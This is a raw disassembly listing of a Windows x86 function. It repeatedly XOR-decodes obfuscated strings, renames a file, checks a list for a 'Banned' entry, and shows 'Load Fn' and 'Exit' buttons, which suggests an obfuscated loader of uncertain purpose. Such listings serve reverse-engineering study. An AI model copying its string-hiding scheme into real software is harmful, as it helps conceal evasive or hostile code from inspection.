movups xmmword [ebp - 0x574], xmm0
movups xmm0, xmmword [0x498948]
movups xmmword [ebp - 0x564], xmm0
movq xmm0, qword [str.O5B_D]
movq qword [ebp - 0x554], xmm0
cmp edi, 2
jl 0x40b510
movaps xmm0, xmmword [0x499630]
movaps xmm4, xmmword [0x4995e0]
movaps xmm3, xmmword [0x4996a0]
movaps xmm5, xmmword [0x499610]
movaps xmmword [ebp - 0x5c0], xmm0
mov ecx, dword [ebp - 0x5c0]
nop dword [eax]
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmmword [0x499620]
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [ebp + edx - 0x584]
xorps xmm2, xmm0
movd xmm0, eax
movd dword [ebp + edx - 0x584], xmm2
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmmword [0x499620]
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [ebp + edx - 0x580]
xorps xmm2, xmm0
movd dword [ebp + edx - 0x580], xmm2
add edx, 8
cmp edx, 0x38
jl 0x40b410
mov dword [ebp - 0x52c], edx
cmp edx, 0x3d
jge 0x40b547
nop dword [eax + eax]
mov eax, 0x4ec4ec4f
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x52c]
movsx eax, al
mov cl, dl
imul eax, eax, 0x34
sub cl, al
add cl, 0x30
xor byte [ebp + edx - 0x584], cl
inc edx
mov dword [ebp - 0x52c], edx
cmp edx, 0x3d
jl 0x40b510
lea eax, [ebp - 0x584]
push eax
call esi
movups xmm0, xmmword [str.SD__]
mov eax, dword [0x4987d0]
xor edx, edx
add esp, 4
mov dword [ebp - 0x548], eax
mov dword [ebp - 0x52c], edx
movups xmmword [ebp - 0x598], xmm0
movups xmm0, xmmword [0x498790]
movups xmmword [ebp - 0x588], xmm0
movups xmm0, xmmword [0x4987a0]
movups xmmword [ebp - 0x578], xmm0
movups xmm0, xmmword [0x4987b0]
movups xmmword [ebp - 0x568], xmm0
movups xmm0, xmmword [0x4987c0]
movups xmmword [ebp - 0x558], xmm0
cmp edi, 2
jl 0x40b6e0
movaps xmm0, xmmword [0x499630]
movaps xmm4, xmmword [0x4995e0]
movaps xmm3, xmmword [0x4996a0]
movaps xmm5, xmmword [0x499610]
movaps xmmword [ebp - 0x5c0], xmm0
mov ecx, dword [ebp - 0x5c0]
nop
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmmword [0x499620]
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [ebp + edx - 0x598]
xorps xmm2, xmm0
movd xmm0, eax
movd dword [ebp + edx - 0x598], xmm2
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmmword [0x499620]
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [ebp + edx - 0x594]
xorps xmm2, xmm0
movd dword [ebp + edx - 0x594], xmm2
add edx, 8
cmp edx, 0x50
jl 0x40b5e0
mov dword [ebp - 0x52c], edx
cmp edx, 0x54
jge 0x40b717
nop dword [eax + eax]
mov eax, 0x4ec4ec4f
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x52c]
movsx eax, al
mov cl, dl
imul eax, eax, 0x34
sub cl, al
add cl, 0x30
xor byte [ebp + edx - 0x598], cl
inc edx
mov dword [ebp - 0x52c], edx
cmp edx, 0x54
jl 0x40b6e0
lea eax, [ebp - 0x598]
push eax
call esi
movups xmm0, xmmword [0x4989d8]
mov cl, byte [0x4989f8]
xor edx, edx
add esp, 4
mov byte [ebp - 0x28], cl
mov dword [ebp - 0x52c], edx
mov esi, eax
movups xmmword [ebp - 0x48], xmm0
movups xmm0, xmmword [0x4989e8]
movups xmmword [ebp - 0x38], xmm0
cmp edi, 2
jl 0x40b870
movaps xmm0, xmmword [0x499630]
movaps xmm4, xmmword [0x4995e0]
movaps xmm3, xmmword [0x4996a0]
movaps xmm5, xmmword [0x499610]
movaps xmmword [ebp - 0x5c0], xmm0
mov ecx, dword [ebp - 0x5c0]
nop
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmmword [0x499620]
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [ebp + edx - 0x48]
xorps xmm2, xmm0
movd xmm0, eax
movd dword [ebp + edx - 0x48], xmm2
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmmword [0x499620]
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [ebp + edx - 0x44]
xorps xmm2, xmm0
movd dword [ebp + edx - 0x44], xmm2
add edx, 8
cmp edx, 0x20
jl 0x40b780
mov dword [ebp - 0x52c], edx
cmp edx, 0x21
jge 0x40b8a4
nop dword [eax]
mov eax, 0x4ec4ec4f
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x52c]
movsx eax, al
mov cl, dl
imul eax, eax, 0x34
sub cl, al
add cl, 0x30
xor byte [ebp + edx - 0x48], cl
inc edx
mov dword [ebp - 0x52c], edx
cmp edx, 0x21
jl 0x40b870
movups xmm0, xmmword [str.s_vnd__RXOJfwSZMc]
mov al, byte [0x498528]
xor edx, edx
mov byte [ebp - 0x548], al
mov dword [ebp - 0x52c], edx
movups xmmword [ebp - 0x568], xmm0
movups xmm0, xmmword [0x498518]
movups xmmword [ebp - 0x558], xmm0
cmp edi, 2
jl 0x40ba10
movaps xmm0, xmmword [0x499630]
movaps xmm4, xmmword [0x4995e0]
movaps xmm3, xmmword [0x4996a0]
movaps xmm5, xmmword [0x499610]
movaps xmmword [ebp - 0x5c0], xmm0
mov ecx, dword [ebp - 0x5c0]
nop word [eax + eax]
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmmword [0x499620]
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [ebp + edx - 0x568]
xorps xmm2, xmm0
movd xmm0, eax
movd dword [ebp + edx - 0x568], xmm2
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmmword [0x499620]
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [ebp + edx - 0x564]
xorps xmm2, xmm0
movd dword [ebp + edx - 0x564], xmm2
add edx, 8
cmp edx, 0x20
jl 0x40b910
mov dword [ebp - 0x52c], edx
cmp edx, 0x21
jge 0x40ba47
nop dword [eax + eax]
mov eax, 0x4ec4ec4f
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x52c]
movsx eax, al
mov cl, dl
imul eax, eax, 0x34
sub cl, al
add cl, 0x30
xor byte [ebp + edx - 0x568], cl
inc edx
mov dword [ebp - 0x52c], edx
cmp edx, 0x21
jl 0x40ba10
lea eax, [ebp - 0x568]
push eax
lea eax, [ebp - 0x48]
push eax
call dword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_rename]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
add esp, 8
mov edx, 0x4535c8
call fcn.00410c80
test esi, esi
jne 0x40db95
movaps xmm0, xmmword [0x499930]
lea ecx, [ebp - 0x5e4]
mov esi, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movups xmmword [ebp - 0x5e4], xmm0
mov dword [ebp - 0x5d4], 0xe0e6d3b1
mov dword [ebp - 0x5d0], 0x100b8fd
call fcn.0040f540
lea edx, [ebp - 0x5e4]
mov ecx, esi
call fcn.00410c80
push 0x410ea0
mov ecx, esi
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
lea ecx, [ebp - 0x650]
mov dword [ebp - 0x650], 0x7d0
mov dword [ebp - 0x64c], 0
call fcn.00410b40
push 0xb8
lea eax, [ebp - 0x1d8]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 0x568]
lea ecx, [ebp - 0x1d8]
push 1
push 0x40
push 1
push eax
call fcn.0040ed10
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x40]
push dword [ebp - 0x59d]
call fcn.004039a0
lea ecx, [ebp - 0x40]
call fcn.00406a60
mov byte [ebp - 4], 0xd
lea ecx, [ebp - 0xbc]
push dword [ebp - 0x59d]
call fcn.004039a0
lea ecx, [ebp - 0xbc]
call fcn.00406a60
mov byte [ebp - 4], 0xe
lea ecx, [ebp - 0x1d8]
mov eax, dword [ebp - 0x1d8]
push 0xa
add ecx, dword [eax + 4]
call dword [sym.imp.MSVCP140.dll_public:_char___thiscall_std::basic_ios_char__struct_std::char_traits_char__::widen_char_const]
movzx eax, al
lea edx, [ebp - 0x40]
push eax
lea ecx, [ebp - 0x1d8]
call fcn.004117b0
add esp, 4
mov ecx, dword [eax]
mov ecx, dword [ecx + 4]
add ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_bool___thiscall_std::ios_base::operator_bool_void_const]
test al, al
je 0x40bc02
nop dword [eax + eax]
push 0x4535c8
lea edx, [ebp - 0x40]
lea ecx, [ebp - 0x5e4]
call fcn.00410ac0
add esp, 4
push eax
lea ecx, [ebp - 0xbc]
mov byte [ebp - 4], 0xf
call fcn.00410490
lea ecx, [ebp - 0x5e4]
mov byte [ebp - 4], 0xe
call fcn.00401400
mov eax, dword [ebp - 0x1d8]
lea ecx, [ebp - 0x1d8]
push 0xa
add ecx, dword [eax + 4]
call dword [sym.imp.MSVCP140.dll_public:_char___thiscall_std::basic_ios_char__struct_std::char_traits_char__::widen_char_const]
movzx eax, al
lea edx, [ebp - 0x40]
push eax
lea ecx, [ebp - 0x1d8]
call fcn.004117b0
add esp, 4
mov ecx, dword [eax]
mov ecx, dword [ecx + 4]
add ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_bool___thiscall_std::ios_base::operator_bool_void_const]
test al, al
jne 0x40bb90
push 0
push 0x5b5d60
lea ecx, [ebp - 0xbc]
call fcn.00410350
cmp eax, 0xffffffff
je 0x40d963
push dword [ebp - 0x59d]
lea ecx, [ebp - 0x5e4]
call fcn.004039a0
mov ecx, 0x5b5d60
mov byte [ebp - 4], 0x10
lea edx, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40bc40
sub ecx, edx
push ecx
push 0x5b5d60
lea ecx, [ebp - 0x5e4]
call fcn.004039c0
push 9
push str.___Banned
lea ecx, [ebp - 0x5e4]
mov byte [ebp - 4], 0x11
call fcn.00410430
push eax
lea ecx, [ebp - 0x5c0]
call fcn.00410500
push 0
lea eax, [ebp - 0x5c0]
push eax
lea ecx, [ebp - 0xbc]
call fcn.00410390
lea ecx, [ebp - 0x5c0]
mov esi, eax
call fcn.00401400
lea ecx, [ebp - 0x5e4]
mov byte [ebp - 4], 0xe
call fcn.00401400
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x4535c8
call fcn.00410c80
mov word [ebp - 0x5cc], 0x100
cmp esi, 0xffffffff
jne 0x40d51b
movaps xmm0, xmmword [0x4998c0]
lea ecx, [ebp - 0x5e8]
mov esi, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movups xmmword [ebp - 0x5e8], xmm0
mov dword [ebp - 0x5d8], 0xfdb3f6f4
mov dword [ebp - 0x5d4], 0xfde4b6fb
mov dword [ebp - 0x5d0], 0xeefeeceb
call fcn.0040e6d0
lea edx, [ebp - 0x5e8]
mov ecx, esi
call fcn.00410c80
push 0x410ea0
mov ecx, esi
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
lea ecx, [ebp - 0x648]
mov dword [ebp - 0x648], 0x3e8
mov dword [ebp - 0x644], 0
call fcn.00410b40
movups xmm0, xmmword [0x49842c]
xor edx, edx
mov dword [ebp - 0x530], edx
movups xmmword [ebp - 0x574], xmm0
movups xmm0, xmmword [0x49843c]
movups xmmword [ebp - 0x564], xmm0
movups xmm0, xmmword [str.9_6_e2_0_u___TT]
movups xmmword [ebp - 0x554], xmm0
cmp edi, 2
jl 0x40bea0
movaps xmm0, xmmword [0x499630]
xor ecx, ecx
movaps xmm4, xmmword [0x4995e0]
movaps xmm3, xmmword [0x4996a0]
movaps xmm5, xmmword [0x499610]
movaps xmmword [ebp - 0x5c0], xmm0
mov edx, dword [ebp - 0x5c0]
nop word [eax + eax]
movd xmm0, ecx
lea eax, [ecx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmmword [0x499620]
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [ebp + ecx - 0x574]
xorps xmm2, xmm0
movd xmm0, eax
movd dword [ebp + ecx - 0x574], xmm2
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmmword [0x499620]
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [ebp + ecx - 0x570]
xorps xmm2, xmm0
movd dword [ebp + ecx - 0x570], xmm2
add ecx, 8
cmp ecx, 0x30
jl 0x40bdb0
jmp 0x40bed7
mov eax, 0x4ec4ec4f
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x530]
movsx eax, al
mov cl, dl
imul eax, eax, 0x34
sub cl, al
add cl, 0x30
xor byte [ebp + edx - 0x574], cl
inc edx
mov dword [ebp - 0x530], edx
cmp edx, 0x30
jl 0x40bea0
lea ecx, [ebp - 0x574]
call fcn.004078e0
movups xmm0, xmmword [0x4987d4]
mov eax, dword [0x4987fc]
xor edx, edx
mov dword [ebp - 0x54c], eax
mov al, byte [0x498800]
mov byte [ebp - 0x548], al
mov dword [ebp - 0x52c], edx
movups xmmword [ebp - 0x574], xmm0
movups xmm0, xmmword [0x4987e4]
movups xmmword [ebp - 0x564], xmm0
movq xmm0, qword [0x4987f4]
movq qword [ebp - 0x554], xmm0
cmp edi, 2
jl 0x40c060
movaps xmm0, xmmword [0x499630]
movaps xmm4, xmmword [0x4995e0]
movaps xmm3, xmmword [0x4996a0]
movaps xmm5, xmmword [0x499610]
movaps xmmword [ebp - 0x5c0], xmm0
mov ecx, dword [ebp - 0x5c0]
nop
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmmword [0x499620]
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [ebp + edx - 0x574]
xorps xmm2, xmm0
movd xmm0, eax
movd dword [ebp + edx - 0x574], xmm2
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmmword [0x499620]
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [ebp + edx - 0x570]
xorps xmm2, xmm0
movd dword [ebp + edx - 0x570], xmm2
add edx, 8
cmp edx, 0x28
jl 0x40bf60
mov dword [ebp - 0x52c], edx
cmp edx, 0x2d
jge 0x40c097
nop dword [eax + eax]
mov eax, 0x4ec4ec4f
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x52c]
movsx eax, al
mov cl, dl
imul eax, eax, 0x34
sub cl, al
add cl, 0x30
xor byte [ebp + edx - 0x574], cl
inc edx
mov dword [ebp - 0x52c], edx
cmp edx, 0x2d
jl 0x40c060
lea ecx, [ebp - 0x574]
call fcn.004078e0
lea ecx, [ebp - 0xbc]
call fcn.00401400
lea ecx, [ebp - 0x40]
call fcn.00401400
lea ecx, [ebp - 0x168]
mov byte [ebp - 4], 7
call fcn.0040ec60
lea ecx, [ebp - 0x168]
call dword [sym.imp.MSVCP140.dll_public_virtual:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::destructor_void_]
call fcn.00407830
call fcn.00403b70
call fcn.00402ef0
test eax, eax
je 0x40c0e8
call fcn.004071a0
push dword [ebp - 0x59d]
lea eax, [ebp - 0x40]
mov ecx, eax
mov dword [ebp - 0x540], eax
call fcn.004039a0
mov ecx, 0x5b5d60
mov byte [ebp - 4], 0x12
lea edx, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40c110
sub ecx, edx
push ecx
push 0x5b5d60
lea ecx, [ebp - 0x40]
call fcn.004039c0
lea ecx, [ebp - 0x40]
mov byte [ebp - 4], 7
call fcn.00401400
cmp byte [0x5b5f44], 0
jne 0x40c146
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x40c156
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x4535c8
call fcn.00410c80
movaps xmm0, xmmword [0x499990]
lea ecx, [ebp - 0x574]
mov esi, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movups xmmword [ebp - 0x574], xmm0
mov dword [ebp - 0x554], 0xc7d6d181
movaps xmm0, xmmword [0x4997f0]
movups xmmword [ebp - 0x564], xmm0
mov dword [ebp - 0x550], 0xdbd4c3c6
mov dword [ebp - 0x54c], 0xc7dfcf
mov byte [ebp - 0x548], 1
call fcn.0040e560
lea edx, [ebp - 0x574]
mov ecx, esi
call fcn.00410c80
movups xmm0, xmmword [0x49842c]
xor edx, edx
mov dword [ebp - 0x530], edx
movups xmmword [ebp - 0x574], xmm0
movups xmm0, xmmword [0x49843c]
movups xmmword [ebp - 0x564], xmm0
movups xmm0, xmmword [str.9_6_e2_0_u___TT]
movups xmmword [ebp - 0x554], xmm0
cmp edi, 2
jl 0x40c310
movaps xmm0, xmmword [0x499630]
xor ecx, ecx
movaps xmm4, xmmword [0x4995e0]
movaps xmm3, xmmword [0x4996a0]
movaps xmm5, xmmword [0x499610]
movaps xmmword [ebp - 0x5c0], xmm0
mov edx, dword [ebp - 0x5c0]
nop dword [eax + eax]
movd xmm0, ecx
lea eax, [ecx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmmword [0x499620]
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [ebp + ecx - 0x574]
xorps xmm2, xmm0
movd xmm0, eax
movd dword [ebp + ecx - 0x574], xmm2
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmmword [0x499620]
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [ebp + ecx - 0x570]
xorps xmm2, xmm0
movd dword [ebp + ecx - 0x570], xmm2
add ecx, 8
cmp ecx, 0x30
jl 0x40c220
jmp 0x40c347
mov eax, 0x4ec4ec4f
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x530]
movsx eax, al
mov cl, dl
imul eax, eax, 0x34
sub cl, al
add cl, 0x30
xor byte [ebp + edx - 0x574], cl
inc edx
mov dword [ebp - 0x530], edx
cmp edx, 0x30
jl 0x40c310
lea ecx, [ebp - 0x574]
call fcn.004078e0
lea ecx, [ebp - 0x638]
mov dword [ebp - 0x638], 0x3e8
mov dword [ebp - 0x634], 0
call fcn.00410b40
mov dword [0x5b5714], 2
mov ecx, 1
call fcn.00414620
call fcn.0041afc0
mov ecx, 2
call fcn.00414560
mov ecx, 1
call fcn.00414620
lea ecx, [ebp - 0x630]
mov dword [ebp - 0x630], 0x40a00000
mov dword [ebp - 0x62c], 0x43b90000
call fcn.004216c0
movups xmm0, xmmword [str.cTQFFPR]
mov ax, word [0x4988a8]
xor edx, edx
mov word [ebp - 0x2c], ax
mov al, byte [0x4988aa]
mov byte [ebp - 0x2a], al
mov dword [ebp - 0x52c], edx
movups xmmword [ebp - 0x44], xmm0
movq xmm0, qword [0x4988a0]
movq qword [ebp - 0x34], xmm0
cmp edi, 2
jl 0x40c510
movaps xmm0, xmmword [0x499630]
movaps xmm4, xmmword [0x4995e0]
movaps xmm3, xmmword [0x4996a0]
movaps xmm5, xmmword [0x499610]
movaps xmmword [ebp - 0x5c0], xmm0
mov ecx, dword [ebp - 0x5c0]
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmmword [0x499620]
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [ebp + edx - 0x44]
xorps xmm2, xmm0
movd xmm0, eax
movd dword [ebp + edx - 0x44], xmm2
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmmword [0x499620]
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [ebp + edx - 0x40]
xorps xmm2, xmm0
movd dword [ebp + edx - 0x40], xmm2
add edx, 8
cmp edx, 0x18
jl 0x40c421
mov dword [ebp - 0x52c], edx
cmp edx, 0x1b
jge 0x40c544
nop dword [eax]
mov eax, 0x4ec4ec4f
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x52c]
movsx eax, al
mov cl, dl
imul eax, eax, 0x34
sub cl, al
add cl, 0x30
xor byte [ebp + edx - 0x44], cl
inc edx
mov dword [ebp - 0x52c], edx
cmp edx, 0x1b
jl 0x40c510
lea eax, [ebp - 0x44]
push eax
call fcn.00445fd0
mov eax, dword [0x5b5714]
add esp, 4
jmp 0x40c55d
mov edi, dword [0x5b5cf8]
cmp eax, 2
jne 0x40d442
push 0
lea edx, [ebp - 0x640]
mov dword [ebp - 0x640], 0x43390000
mov ecx, str.Load_Fn
mov dword [ebp - 0x63c], 0x428c0000
call fcn.00446680
add esp, 4
test al, al
je 0x40c59d
mov dword [0x5b5710], 0
push 0
lea edx, [ebp - 0x620]
mov dword [ebp - 0x620], 0x43390000
mov ecx, str.Exit
mov dword [ebp - 0x61c], 0x428c0000
call fcn.00446680
add esp, 4
test al, al
je 0x40c5d9
mov dword [0x5b5710], 1
jmp 0x40d429
cmp dword [0x5b5710], 0
jne 0x40d429
call fcn.00403b70
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x4535c8
call fcn.00410c80
movaps xmm0, xmmword [0x499770]
lea ecx, [ebp - 0x48]
mov esi, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movups xmmword [ebp - 0x48], xmm0
mov dword [ebp - 0x38], 0xe7f2f7fd
mov dword [ebp - 0x34], 0xf9c0b6f0
